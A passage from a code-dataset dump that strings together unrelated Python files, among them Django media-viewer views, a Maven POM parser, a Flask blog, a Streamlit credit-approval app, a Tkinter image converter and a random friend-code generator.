'mediaviewer/filesdetail.html', context)\n\n@login_required(login_url='/mediaviewer/login/')\n@check_force_password_change\n@logAccessInfo\ndef pathsdetail(request, path_id):\n path = Path.objects.get(pk=path_id)\n context = {'path': path}\n context['active_page'] = 'pathsdetail'\n context['title'] = path.displayName()\n setSiteWideContext(context, request)\n return render(request, 'mediaviewer/pathsdetail.html', context)\n\n@logAccessInfo\ndef ajaxviewed(request):\n fileid = int(request.POST['fileid'])\n viewed = request.POST['viewed'] == 'true' and True or False\n file = get_object_or_404(File, pk=fileid)\n response = {'errmsg':''}\n\n errmsg = \"\"\n\n user = request.user\n if not user.is_authenticated():\n errmsg = \"User not authenticated. Refresh and try again.\"\n if not user:\n errmsg = \"An error has occurred\"\n\n if errmsg:\n response['errmsg'] = errmsg\n return HttpResponse(json.dumps(response), content_type='application/javascript')\n\n file.markFileViewed(user, viewed)\n\n response['fileid'] = fileid\n response['viewed'] = viewed\n\n return HttpResponse(json.dumps(response), content_type='application/javascript')\n\n@csrf_exempt\ndef ajaxsuperviewed(request):\n errmsg = ''\n guid = request.POST['guid']\n viewed = request.POST['viewed'] == 'True' and True or False\n\n if viewed:\n token = (DownloadToken.objects\n .filter(guid=guid)\n .first())\n if token and token.isvalid:\n token.file.markFileViewed(token.user, viewed)\n else:\n errmsg = 'Token is invalid'\n\n response = {'errmsg': errmsg,\n 'guid': guid,\n 'viewed': viewed}\n response = json.dumps(response)\n return HttpResponse(response, content_type=\"application/json\")\n\n@logAccessInfo\ndef ajaxdownloadbutton(request):\n response = {'errmsg': ''}\n fileid = int(request.POST['fileid'])\n file = File.objects.get(pk=fileid)\n user = request.user\n\n if not user.is_authenticated():\n response = {'errmsg': 'User not authenticated. Refresh and try again.'}\n elif file and user:\n dt = DownloadToken.new(user, file)\n\n downloadlink = file.downloadLink(user, dt.guid)\n response = {'guid': dt.guid,\n 'isMovie': dt.ismovie,\n 'downloadLink': downloadlink,\n 'errmsg': ''}\n else:\n response = {'errmsg': 'An error has occurred'}\n\n return HttpResponse(json.dumps(response), content_type='application/javascript')\n\n@login_required(login_url='/mediaviewer/login/')\n@logAccessInfo\ndef downloadlink(request, fileid):\n user = request.user\n file = get_object_or_404(File, pk=fileid)\n dt = DownloadToken.new(user, file)\n\n downloadlink = file.downloadLink(user, dt.guid)\n return redirect(downloadlink)\n\n@login_required(login_url='/mediaviewer/login/')\n@logAccessInfo\ndef autoplaydownloadlink(request, fileid):\n user = request.user\n file = get_object_or_404(File, pk=fileid)\n dt = DownloadToken.new(user, file)\n\n downloadlink = file.autoplayDownloadLink(user, dt.guid)\n return redirect(downloadlink)\n","sub_path":"mediaviewer/views/detail.py","file_name":"detail.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214572488","text":"#!/usr/bin/python\nimport sys,os\nfrom xml.etree import ElementTree as ET\nSEP=','\n\nif len(sys.argv)>1:\n pom_file=sys.argv[1]\nelse:\n pom_file='pom.xml'\n\nif not os.path.exists(pom_file):\n print ('\"'+pom_file+'\" is not exits !')\n sys.exit()\n \ndirname=os.path.dirname(pom_file)\nabsdirname=os.path.abspath(dirname)\n\nns='{http://maven.apache.org/POM/4.0.0}'\n\ndef stag(name):\n\tif name[0] == \"{\":\n\t\turi, tag = name[1:].split(\"}\")\n\t\treturn tag\n\telse:\n\t\treturn name\n\ndef stext(name,ps):\n\tif name[0] == \"$\":\n\t\treturn ps[name[2:-1]]\n\telse:\n\t\treturn name\ndef getme(root):\n groupId=root.find(ns+'groupId').text\n artifactId=root.find(ns+'artifactId').text\n version=root.find(ns+'version').text\n return groupId+SEP+artifactId+SEP+version\n\ndef getps(root):\n\tps={}\n\teps=root.find(ns+'properties')\n\tif eps is None:\n\t\treturn ps\n\n\tfor p in eps:\n\t\tps[stag(p.tag)]=p.text\n\treturn ps\n\ndef getds(root):\n\tds=[]\n\teds=root.find(ns+'dependencies')\n\tif eds is None:\n\t\treturn ds\n\n\tfor ed in eds:\n\t\td={}\n\t\tfor a in ed:\n\t\t\td[stag(a.tag)]=a.text\n\t\tds.append(d)\n\treturn ds\n\t\ndef getpds(root):\n\tds=[]\n\teds=root.find(ns+'dependencyManagement/'+ns+'dependencies')\n\tif eds is None:\n\t\treturn ds\n\n\tfor ed in eds:\n\t\td={}\n\t\tfor a in ed:\n\t\t\td[stag(a.tag)]=a.text\n\t\tds.append(d)\n\treturn ds\n\t\ndef getpidx(pds,pps):\n\tpidx={}\n\tfor d in pds:\n\t\tgroupId=stext(d['groupId'],pps)\n\t\tartifactId=stext(d['artifactId'],pps)\n\t\tversion=stext(d['version'],pps)\n\t\tpidx[groupId+SEP+artifactId]=version\n\treturn pidx\n\ndef getidx(ds,ps,pidx):\n\tidx={}\n\tfor d in ds:\n\t\tgroupId=stext(d['groupId'],ps)\n\t\tartifactId=stext(d['artifactId'],ps)\n\t\tkey=groupId+SEP+artifactId\n\t\tif 'version' in d:\n\t\t\tversion=stext(d['version'],pps)\n\t\telse:\n\t\t\tversion=pidx[key]\n\t\tidx[key]=version\n\treturn idx\n\ntree = ET.parse(pom_file)\nroot = tree.getroot()\n\nme=getme(root)\nps=getps(root)\nds=getds(root)\n\nprp=root.find(ns+'parent/'+ns+'relativePath')\nif prp is not None:\n\tptree=ET.parse(absdirname+'/'+prp.text)\n\tproot=ptree.getroot()\n\tpps=getps(proot)\n\tpds=getpds(proot)\n\npidx=getpidx(pds,pps)\nidx=getidx(ds,ps,pidx)\n\nfor i in idx:\n\tprint (me+':'+i+SEP+idx[i])\n","sub_path":"analyze_pom/analyzepom.py","file_name":"analyzepom.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"549416944","text":"from sys import argv\r\n\r\nscript, filename = argv\r\n\r\nprint(f\"We're going to erase {filename}. \")\r\nprint(\"If you don't want to do that, hit CTRL-C (^C).\")\r\nprint(\"If you do want that, hit RETURN. \")\r\n\r\ninput(\"?\")\r\n\r\nprint(\"Opening the file...\")\r\ntarget = open(filename, 'w')\r\n\r\nprint(\"Truncating the file, Goodbye!\")\r\ntarget.truncate\r\n\r\nprint(\"Now I'm going to ask you for three lines. \")\r\n\r\nline1 = input(\"line1: \")\r\nline2 = input(\"line2: \")\r\nline3 = input(\"line3: \")\r\n\r\nprint(\"I'm going to write these to the file. \")\r\n\r\ntarget.write(line1)\r\ntarget.write(\"\\n\")\r\ntarget.write(line2)\r\ntarget.write(\"\\n\")\r\ntarget.write(line3)\r\ntarget.write(\"\\n\")\r\n\r\nprint(\"And finally we close it.\")\r\ntarget.close()\r\n\r\n# scottlutwyche$ python3 ex16.py TESTFILE.TXT\r\n# We're going to erase TESTFILE.TXT. \r\n# If you don't want to do that, hit CTRL-C (^C).\r\n# If you do want that, hit RETURN. \r\n# ?\r\n# Opening the file...\r\n# Truncating the file, Goodbye!\r\n# Now I'm going to ask you for three lines. \r\n# line1: This is line 1 \r\n# line2: THis is the second line\r\n# line3: Finally the third line is now written. THE END!\r\n# I'm going to write these to the file. \r\n# And finally we close it.\r\n# Scotts-MacBook:pytest scottlutwyche$ ","sub_path":"ex16.py","file_name":"ex16.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"145340451","text":"import time\nimport unittest\n\nfrom Data.parameters import Data\nfrom selenium import webdriver\n\nfrom TS.reuse_func import cqube\nfrom get_dir import pwd\n\n\nclass SAROption(unittest.TestCase):\n\n def setUp(self):\n p =pwd()\n self.driver = webdriver.Chrome(p.get_driver_path())\n self.driver.maximize_window()\n self.driver.implicitly_wait(15)\n driver =cqube(self.driver)\n driver.open_cqube_appln()\n driver.login_cqube()\n driver.navigate_to_student_report()\n\n def test_SAR(self):\n time.sleep(5)\n self.driver.find_element_by_xpath(Data.SAR_Blocks_btn).click()\n time.sleep(15)\n infob = self.driver.find_elements_by_xpath(Data.details)\n for i in range(len(infob)):\n time.sleep(5)\n print(infob[i].text)\n\n self.driver.find_element_by_xpath(Data.SAR_Clusters_btn).click()\n time.sleep(15)\n infoc = self.driver.find_elements_by_xpath(Data.details)\n for i in range(len(infoc)):\n time.sleep(5)\n print(infoc[i].text)\n\n self.driver.find_element_by_xpath(Data.SAR_Schools_btn).click()\n time.sleep(30)\n infos = self.driver.find_elements_by_xpath(Data.details)\n time.sleep(5)\n for i in range(len(infos)):\n print(infos[i].text)\n\n def tearDown(self):\n time.sleep(5)\n self.driver.close()\n\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"tests/src/Integration_Test/Test_scripts/Click_on_block_cluster_schools.py","file_name":"Click_on_block_cluster_schools.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"304211092","text":"\n\ndef max_char_count(str):\n count = 0\n previous = '0'\n max_count = 0\n\n for current in str:\n if current == previous:\n count += 1\n else:\n if (max_count < count) :\n max_count = count\n max_char = previous\n count = 1\n previous = current\n return {max_char:max_count}\n\ndef main():\n print(max_char_count('AABBCCCCD'))\n\nif __name__ == '__main__' :\n main()","sub_path":"python/pattern/DanielAlgorithm/Interview/interview1.py","file_name":"interview1.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"69097844","text":"from __future__ import absolute_import\nimport socket\nimport contextlib\n\n\n@contextlib.contextmanager\ndef get_ipc_socket(ipc_path, timeout=0.1):\n sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n sock.connect(ipc_path)\n sock.settimeout(timeout)\n\n yield sock\n\n sock.close()\n","sub_path":"web3/utils/networking.py","file_name":"networking.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"650238867","text":"from collections import deque\n\n#dfs 메서드 정의\n# start : 시작 노드를 큐에 넣어줌\ndef bfs(graph, start, visited):\n queue = deque([start])\n\n #현재 노드를 방문 처리\n visited[start]= True\n \n #큐가 빌 때까지 반복\n while queue:\n #큐에서 하나의 원소를 뽑아 출력\n v = queue.popleft()\n print(v, end=' ')\n\n #아직 방문하지 않은 인접한 원소들을 큐에 삽입\n for i in graph[v]:\n if not visited[i]:\n queue.append(i)\n visited[i] = True\n\n\n\n # 각 노드가 연결된 정보 표현 (2차원 리스트)\n # 노드 인덱스 1로 시작하는 경우 많기 때문에 인덱스 0 비워놓기\n graph = [\n [],\n [2,3,6],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7]\n ]\n\n visited = [False] * 9\n\n bfs(graph, 1, visited)\n","sub_path":"(이코테) BFS 소스코드 예제.py","file_name":"(이코테) BFS 소스코드 예제.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"428704396","text":"import datetime\n\nfrom flask import render_template, Blueprint\nfrom flask_login import login_required\n\nfrom wfdb.models import Post, db, Comment, User\n\n\n\n\n\nblog_blueprint = Blueprint('blog',\n __name__,\n template_folder=\"../templates/blog\",\n url_prefix='/blog'\n )\n\n\n@blog_blueprint.route(\"/\")\n@login_required\ndef blog():\n posts = Post.query.order_by(Post.publish_date.desc()).all()\n\n return render_template(\"blog.html\", posts=posts)\n\n\n@blog_blueprint.route(\"/<int:post_id>\", methods=[\"GET\", \"POST\"])\n@login_required\ndef post(post_id):\n post = Post.query.get_or_404(post_id)\n\n form = CommentForm()\n if form.validate_on_submit():\n comment = Comment()\n comment.text = form.text.data\n comment.date = datetime.datetime.now()\n comment.post = post\n comment.user = User.query.get(1)\n\n db.session.add(comment)\n db.session.commit()\n form.text.data = \"\"\n\n return render_template(\"blog/post.html\", post=post, form=form)\n","sub_path":"wfdb/controlers/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"92766882","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 19 20:22:25 2021\r\n\r\n@author: shubham mishra\r\n\"\"\"\r\n\r\nimport os\r\nimport streamlit as st\r\nimport numpy as np\r\nimport pickle\r\n\r\n\r\nos.chdir(r'C:\\Users\\shubham mishra\\Downloads')\r\nmodel=pickle.load(open('model.pkl','rb'))\r\ndef predict_CCA(Age,Debt,EducationLevel,YearsEmployed,PriorDefault,Employed,CreditScore,Income):\r\n input=np.array([[Age,Debt,EducationLevel,YearsEmployed,PriorDefault,Employed,CreditScore,Income]]).astype(np.float64)\r\n prediction=model.predict_proba(input)\r\n pred='{0:.{1}f}'.format(prediction[0][0], 2)\r\n return float(pred)\r\n \r\ndef main():\r\n st.title(\"Streamlit Tutorial\")\r\n html_temp = \"\"\"\r\n <div style=\"background-color:#025246 ;padding:10px\">\r\n <h2 style=\"color:white;text-align:center;\">Forest Fire Prediction ML App </h2>\r\n </div>\r\n \"\"\"\r\n st.markdown(html_temp, unsafe_allow_html=True)\r\n\r\n Age = st.sidebar.slider('Age', 0.00, 100.00, 1.00)\r\n \r\n Debt = st.sidebar.slider('Debt', 0.00, 100.00, 1.00)\r\n \r\n EducationLevel = st.sidebar.slider('EducationLevel', 1.00, 20.00, 1.00)\r\n \r\n YearsEmployed = st.sidebar.slider('YearsEmployed',1.00,60.00,0.00)\r\n \r\n PriorDefault = st.sidebar.slider('PriorDefault', 0.00, 1.00, 0.00)\r\n \r\n Employed = st.sidebar.slider('Employed', 0.00, 1.00)\r\n \r\n CreditScore = st.sidebar.slider('CreditScore', 1.00, 100.00, 1.00)\r\n \r\n Income = st.sidebar.slider('Income', 0.00, 100000.00, 1.00)\r\n\r\n safe_html=\"\"\" \r\n <div style=\"background-color:#F4D03F;padding:10px >\r\n <h2 style=\"color:white;text-align:center;\"> credit card rejected</h2>\r\n </div>\r\n \"\"\"\r\n danger_html=\"\"\" \r\n <div style=\"background-color:#F08080;padding:10px >\r\n <h2 style=\"color:black ;text-align:center;\"> credit card approved</h2>\r\n </div>\r\n \"\"\"\r\n\r\n if st.button(\"Predict\"):\r\n output = predict_CCA(Age,Debt,EducationLevel,YearsEmployed,PriorDefault,Employed,CreditScore,Income)\r\n st.success('The probability of Credit card approval {}'.format(output))\r\n\r\n if output==1:\r\n st.markdown(danger_html,unsafe_allow_html=True)\r\n else:\r\n st.markdown(safe_html,unsafe_allow_html=True)\r\n\r\nif __name__=='__main__':\r\n main()","sub_path":"CCA_app.py","file_name":"CCA_app.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463862790","text":"from tkinter import filedialog\r\nfrom tkinter import *\r\nfrom PIL import ImageTk, Image as image\r\n\r\nroot = Tk()\r\nroot.geometry(\"500x650\")\r\nroot.configure(bg=\"#1B1B21\")\r\nroot.title(\"Image conversion\")\r\nroot.iconbitmap(\"logo.ico\")\r\n\r\ndef show():\r\n global picture\r\n\r\n root.filename = filedialog.askopenfilename(title=\"choose a picture\", filetypes=((\"png files\", \"*.png\"),(\"all types\",\"*.*\")))\r\n png_pic = image.open(root.filename)\r\n r_png_pic = png_pic.resize((450,500), image.ANTIALIAS)\r\n picture = ImageTk.PhotoImage(r_png_pic)\r\n\r\n lab = Label(frame, image=picture).pack()\r\n\r\n# function that convert from PNG to JPG\r\ndef pngTjpg():\r\n\r\n global picture\r\n global error\r\n error = None\r\n\r\n # destroy the old picture\r\n for widget in frame.winfo_children():\r\n widget.destroy()\r\n\r\n # ask for the picture that you want to convert\r\n root.filename = filedialog.askopenfilename(title=\"choose a picture\",\r\n filetypes=((\"png files\", \"*.png\"), (\"all types\", \"*.*\")))\r\n if root.filename != '':\r\n png_pic = image.open(root.filename)\r\n r_png_pic = png_pic.resize((450, 500), image.ANTIALIAS)\r\n picture = ImageTk.PhotoImage(r_png_pic)\r\n\r\n lab = Label(frame, image=picture)\r\n lab.pack()\r\n\r\n if file_name.get() == '':\r\n lab.destroy()\r\n\r\n error = Label(root, text=\"Enter the name of your file please\", bg=\"#1B1B21\", fg=\"red\")\r\n error.grid(row=3, column=0, columnspan=2)\r\n else:\r\n with open(root.filename, 'rb') as pic:\r\n b_pic = pic.read()\r\n with open((file_name.get() + \".jpg\"), 'wb') as n_pic:\r\n jpg_pic = n_pic.write(b_pic)\r\n save = Label(root, text=\"Your picture is saved successfully\", bg=\"#1B1B21\", font=\"none 12 bold\")\r\n save.grid(row=3, column=0, columnspan=2)\r\n\r\n\r\n# function that convert from JPG to PNG\r\n\r\ndef jpgTpng():\r\n\r\n global picture1\r\n global error1\r\n error1 = None\r\n for widget in frame.winfo_children():\r\n widget.destroy()\r\n root.filename = filedialog.askopenfilename(title=\"choose a picture\",\r\n filetypes=((\"jpg files\", \"*.jpg\"), (\"all types\", \"*.*\")))\r\n if root.filename != '':\r\n jpg_pic = image.open(root.filename)\r\n r_jpg_pic = jpg_pic.resize((450, 500), image.ANTIALIAS)\r\n picture1 = ImageTk.PhotoImage(r_jpg_pic)\r\n\r\n lab = Label(frame, image=picture1)\r\n lab.pack()\r\n\r\n if file_name.get() == '':\r\n lab.destroy()\r\n error1 = Label(root, text=\"Enter the name of your file please\", bg=\"#1B1B21\", fg=\"red\")\r\n error1.grid(row=3, column=0, columnspan=2)\r\n\r\n else:\r\n with open(root.filename, 'rb') as pic:\r\n b_pic = pic.read()\r\n with open((file_name.get() + \".png\"), 'wb') as n_pic:\r\n png_pic = n_pic.write(b_pic)\r\n save1 = Label(root, text=\"Your picture is saved successfully\", bg=\"#1B1B21\", font=\"none 12 bold\")\r\n save1.grid(row=3, column=0, columnspan=2)\r\n\r\n\r\ndef clear_frame():\r\n for widget in frame.winfo_children():\r\n widget.destroy()\r\n file_name.delete(0, END)\r\n\r\n\r\n\r\nframe = Frame(root, width=450, height=500)\r\npng_text = Label(root, text=\"file name\", bg=\"#1B1B21\", font=\"propaganda 12\")\r\nfile_name = Entry(root, font=\"none 12\")\r\ntype_text = Label(root, text=\".jpg\", bg=\"#6AF2D6\", font=\"propaganda 12\")\r\nclear = Button(root, text=\"clear\", padx=30, pady=8,font=\"none 12 bold\",command=clear_frame)\r\npngTojpg = Button(root, text=\"pngTjpg\", padx=20, pady=7,font=\"none 12 bold\", command=pngTjpg)\r\njpgTopng = Button(root, text=\"jpgTpng\", padx=20, pady=7,font=\"none 12 bold\", command=jpgTpng)\r\n\r\nframe.grid(row=0, column=0, columnspan=3, padx=27, pady=(0,5))\r\npngTojpg.grid(row=1,column=0)\r\nclear.grid(row=1, column=1, pady=5)\r\njpgTopng.grid(row=1, column=2)\r\npng_text.grid(row=2, column=0, pady=(10,0))\r\nfile_name.grid(row=2, column=1, pady=(10,0))\r\n# type_text.grid(row=2, column=2, pady=(10,0))\r\n\r\nroot.mainloop()","sub_path":"create a dialog.py","file_name":"create a dialog.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"530226477","text":"from __future__ import print_function\nfrom cmsl1t.plotting.base import BasePlotter\nfrom cmsl1t.hist.hist_collection import HistogramCollection\nfrom cmsl1t.hist.factory import HistFactory\nimport cmsl1t.hist.binning as bn\nfrom cmsl1t.utils.draw import draw, label_canvas\nfrom cmsl1t.utils.fit_efficiency import fit_efficiency\nfrom cmsl1t.io import to_root\n\nfrom rootpy.plotting import Legend, HistStack\nfrom rootpy.context import preserve_current_style\n\n\nclass EfficiencyPlot(BasePlotter):\n def build(self,\n online_name, offline_name,\n online_title, offline_title,\n pileup_bins, thresholds, n_bins, low, high):\n \"\"\" This is not in an init function so that we can by-pass this in the\n case where we reload things from disk \"\"\"\n self.online_name = online_name\n self.offline_name = offline_name\n self.online_title = online_title\n self.offline_title = offline_title\n self.pileup_bins = bn.Sorted(pileup_bins, \"pileup\",\n use_everything_bin=True)\n self.thresholds = bn.GreaterThan(thresholds, \"threshold\",\n use_everything_bin=True)\n\n name = [online_name, offline_name,\n \"thresh_{threshold}\", \"pu_{pileup}\"]\n name = \"__\".join(name)\n title = \" \".join([online_name, \" in PU bin: {pileup}\",\n \"and passing threshold: {threshold}\"])\n self.yields = HistogramCollection([self.pileup_bins, self.thresholds],\n \"Hist1D\", n_bins, low, high,\n name=\"yield\" + name, title=title)\n self.filename_format = \"{type}\" + name\n\n def to_root(self, filename):\n \"\"\" Write histograms to disk \"\"\"\n to_write = [self, self.yields]\n if hasattr(self, \"efficiencies\"):\n to_write += [self.efficiencies]\n to_root(to_write, filename)\n\n def fill(self, pileup, online, offline):\n self.yields[pileup, online].fill(offline)\n\n def draw(self, with_fits=True):\n # Calclate the efficiency for each threshold\n self.__fill_efficiencies()\n if with_fits:\n self.__fit_efficiencies()\n\n # Overlay the \"all\" pile-up bin for each threshold\n all_pileup_effs = self.efficiencies.get_bin_contents([bn.Base.everything])\n hists = []\n labels = []\n fits = []\n for threshold in all_pileup_effs.iter_all():\n if not isinstance(threshold, int):\n continue\n hists.append(all_pileup_effs.get_bin_contents(threshold))\n labels.append(\"> \" + str(self.thresholds.bins[threshold]))\n if with_fits:\n fits.append(self.fits.get_bin_contents([bn.Base.everything, threshold]))\n self.__make_overlay(\"all\", \"all\", hists, fits, labels, self.online_title)\n\n # Overlay individual pile-up bins for each threshold\n for threshold in self.thresholds:\n hists = []\n labels = []\n fits = []\n for pileup in self.pileup_bins.iter_all():\n if not isinstance(pileup, int):\n continue\n hists.append(self.efficiencies.get_bin_contents([pileup, threshold]))\n if with_fits:\n fits.append(self.fits.get_bin_contents([pileup, threshold]))\n labels.append(str(self.pileup_bins.bins[pileup]))\n self.__make_overlay(pileup, threshold, hists, fits, labels, \"PU bin\")\n\n # Produce the fit summary plot\n if with_fits:\n self.__summarize_fits()\n\n def __fill_efficiencies(self):\n # Boiler plate to convert a given distribution to a efficiency\n def make_eff(labels):\n pileup_bin = labels[\"pileup\"]\n threshold_bin = labels[\"threshold\"]\n total = self.yields.get_bin_contents([pileup_bin, bn.Base.everything])\n passed = self.yields.get_bin_contents([pileup_bin, threshold_bin])\n efficiency = passed.Clone(passed.name.replace(\"yield\", \"efficiency\"))\n efficiency.Divide(total)\n return efficiency\n\n # Actually make the efficiencies\n self.efficiencies = HistogramCollection([self.pileup_bins, self.thresholds],\n make_eff)\n\n def __fit_efficiencies(self):\n def make_fit(labels):\n pileup_bin = labels[\"pileup\"]\n threshold_bin = labels[\"threshold\"]\n efficiency = self.efficiencies.get_bin_contents([pileup_bin, threshold_bin])\n params = fit_efficiency(efficiency, self.thresholds.get_bin_center(threshold_bin))\n return params\n\n # Actually make the efficiencies\n self.fits = HistogramCollection([self.pileup_bins, self.thresholds],\n make_fit)\n\n def __make_overlay(self, pileup, threshold, hists, fits, labels, header):\n with preserve_current_style():\n # Draw each efficiency (with fit)\n canvas = draw(hists, draw_args={\"xtitle\": self.offline_title,\n \"ytitle\": \"Efficiency\"})\n if len(fits) > 0:\n for fit, hist in zip(fits, hists):\n fit[\"asymmetric\"].linecolor = hist.GetLineColor()\n fit[\"asymmetric\"].Draw(\"same\")\n\n # Add labels\n label_canvas()\n\n # Add a legend\n legend = Legend(len(hists), header=header)\n for hist, label in zip(hists, labels):\n legend.AddEntry(hist, label)\n legend.Draw()\n\n # Save canvas to file\n name = self.filename_format.format(type=\"efficiency_\",\n pileup=pileup,\n threshold=threshold)\n self.save_canvas(canvas, name)\n\n def __summarize_fits(self):\n \"\"\" Implement this to show fit evolution plots \"\"\"\n pass\n","sub_path":"cmsl1t/plotting/efficiency.py","file_name":"efficiency.py","file_ext":"py","file_size_in_byte":6059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"235714271","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/taurus/qt/qtgui/display/qfallback.py\n# Compiled at: 2019-08-19 15:09:29\n\"\"\"A pure Qt widget designed to be displayed when a real widget cannot be\nloaded for any reason (example: a dependency library is not installed)\"\"\"\n__all__ = [\n 'create_fallback', 'create_taurus_fallback', 'QFallBackWidget',\n 'TaurusFallBackWidget']\n__docformat__ = 'restructuredtext'\nimport sys, functools\nfrom taurus.external.qt import Qt\nfrom taurus.qt.qtgui.base import TaurusBaseWidget\n\ndef create_fallback(widget_klass_name):\n return functools.partial(QFallBackWidget, replaces=widget_klass_name, exc_info=sys.exc_info())\n\n\ndef create_taurus_fallback(widget_klass_name):\n return functools.partial(TaurusFallBackWidget, replaces=widget_klass_name, exc_info=sys.exc_info())\n\n\nclass QFallBackWidget(Qt.QWidget):\n \"\"\"A FallBack widget to be used when a real widget cannot be loaded for any\n reason (example: a dependency library is not installed)\"\"\"\n\n def __init__(self, replaces=None, parent=None, *args, **kwargs):\n Qt.QWidget.__init__(self, parent)\n if replaces is None:\n replaces = self.__class__.__name__\n self.replaces = replaces\n self.exc_info = exc_info = kwargs.get('exc_info')\n layout = Qt.QVBoxLayout(self)\n layout.setContentsMargins(2, 2, 2, 2)\n layout.setSpacing(2)\n self.setLayout(layout)\n self.label = Qt.QLabel(self)\n self.label.setText((\"'{0}' could not be displayed\").format(replaces))\n layout.addWidget(self.label, 0, Qt.Qt.AlignVCenter)\n if exc_info is not None and exc_info[0] is not None:\n self.details_button = Qt.QPushButton('Details...', self)\n layout.addWidget(self.details_button, 0, Qt.Qt.AlignTop)\n self.details_button.clicked.connect(self.onShowDetails)\n layout.addStretch(1)\n return\n\n def onShowDetails(self):\n import taurus.qt.qtgui.dialog\n msgbox = taurus.qt.qtgui.dialog.TaurusMessageBox(parent=self, *self.exc_info)\n msgbox.setWindowTitle(('{0} Error').format(self.replaces))\n msgbox.setText(self.label.text())\n msgbox.exec_()\n\n\nclass TaurusFallBackWidget(QFallBackWidget, TaurusBaseWidget):\n\n def __init__(self, replaces=None, parent=None, *args, **kwargs):\n self.call__init__(QFallBackWidget, replaces=replaces, parent=parent, *args, **kwargs)\n designMode = kwargs.get('designMode', False)\n self.call__init__(TaurusBaseWidget, replaces, designMode=designMode)","sub_path":"pycfiles/taurus-4.6.1-py2.7/qfallback.py","file_name":"qfallback.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"386096661","text":"import math\r\nimport ctypes\r\nimport time\r\nimport os\r\nfrom random import randint\r\nclear = lambda: os.system('cls')\r\ntitle = ctypes.windll.kernel32.SetConsoleTitleW\r\nname = \"Friend code generator\"\r\nver = \"2.0.5\"\r\n\r\ndef menu():\r\n print(\"\")\r\n print(\"----------------------\")\r\n print(\" 1 - 3ds/Wii-U friend code generator\")\r\n print(\" 2 - Switch friend code generator\")\r\n print(\" 3 - Steam friend code generator\")\r\n print(\" 4 - Clear Codes.txt\")\r\n print(\"-----------------------\")\r\n print(\"\")\r\n print(\"Type 1, 2, 3 or 4 then press ENTER\")\r\n title(\"[\" + str(ver) + \"] \" + str(name))\r\n x = input(\"\")\r\n if x == \"1\":\r\n clear()\r\n wiiu()\r\n if x == \"2\":\r\n clear()\r\n switch()\r\n if x == \"3\":\r\n clear()\r\n steam()\r\n if x == \"4\":\r\n time.sleep(0.2)\r\n os.remove(\"Codes.txt\")\r\n file = open(\"Codes.txt\",\"w\") \r\n print(\"Deleted!\")\r\n file.close()\r\n time.sleep(1)\r\n clear()\r\n menu()\r\n else:\r\n print(\"Wrong input. Choose 1 to 4.\")\r\n time.sleep(0.5)\r\n clear()\r\n menu()\r\n\r\n\r\ndef wiiu():\r\n global total\r\n time.sleep(0.2)\r\n os.remove(\"Codes.txt\")\r\n file = open(\"Codes.txt\",\"w\")\r\n clear()\r\n print(\"3ds and Wii-U Friend Code Generator\")\r\n print(\"\")\r\n print(\"How many codes to generate: \")\r\n amt = int(input())\r\n print(\"Generating...\")\r\n total = 0\r\n total1 = 0\r\n file = open(\"codes.txt\",\"w\") \r\n while total < amt:\r\n pc = 200/(int(amt)+(int(total)))\r\n total1 + 1\r\n fc = str(randint(1000, 9999)) + \"-\" + str(randint(1000, 9999)) + \"-\" + str(randint(1000,9999))\r\n total = total+1\r\n if total % 1000 == 0:\r\n title(str(name) + \" - \" + str(round(total*pc)) + \"% completed\")\r\n file.write(str(fc)+\"\\n\")\r\n clear()\r\n file.close()\r\n if total == 1:\r\n print(\"Completed! Generated \"+ str(total) +\" code!\")\r\n else:\r\n print(\"Completed! Generated \"+ str(total) +\" codes!\")\r\n title(\"Friend Code Generator - 2.0.4\")\r\n input(\"Press enter to close! Thanks for using!\")\r\n close()\r\n\r\ndef switch():\r\n time.sleep(0.2)\r\n os.remove(\"Codes.txt\")\r\n file = open(\"Codes.txt\",\"w\")\r\n clear()\r\n print(\"Switch Friend Code Generator\")\r\n print(\"\")\r\n print(\"How many codes to generate: \")\r\n amt = int(input())\r\n print(\"Generating...\")\r\n total = 0\r\n file = open(\"Codes.txt\",\"w\") \r\n while total < amt:\r\n pc = 200/(int(amt)+(int(total)))\r\n fc = str(randint(1000, 9999)) + \"-\" + str(randint(1000, 9999)) + \"-\" + str(randint(1000,9999))\r\n total = total+1\r\n if total % 1000 == 0:\r\n title(str(name) + \" - \" + str(round(total*pc)) + \"% completed\")\r\n file.write(\"SW-\" + str(fc)+\"\\n\")\r\n clear()\r\n file.close()\r\n finish()\r\n\r\n\r\ndef steam():\r\n 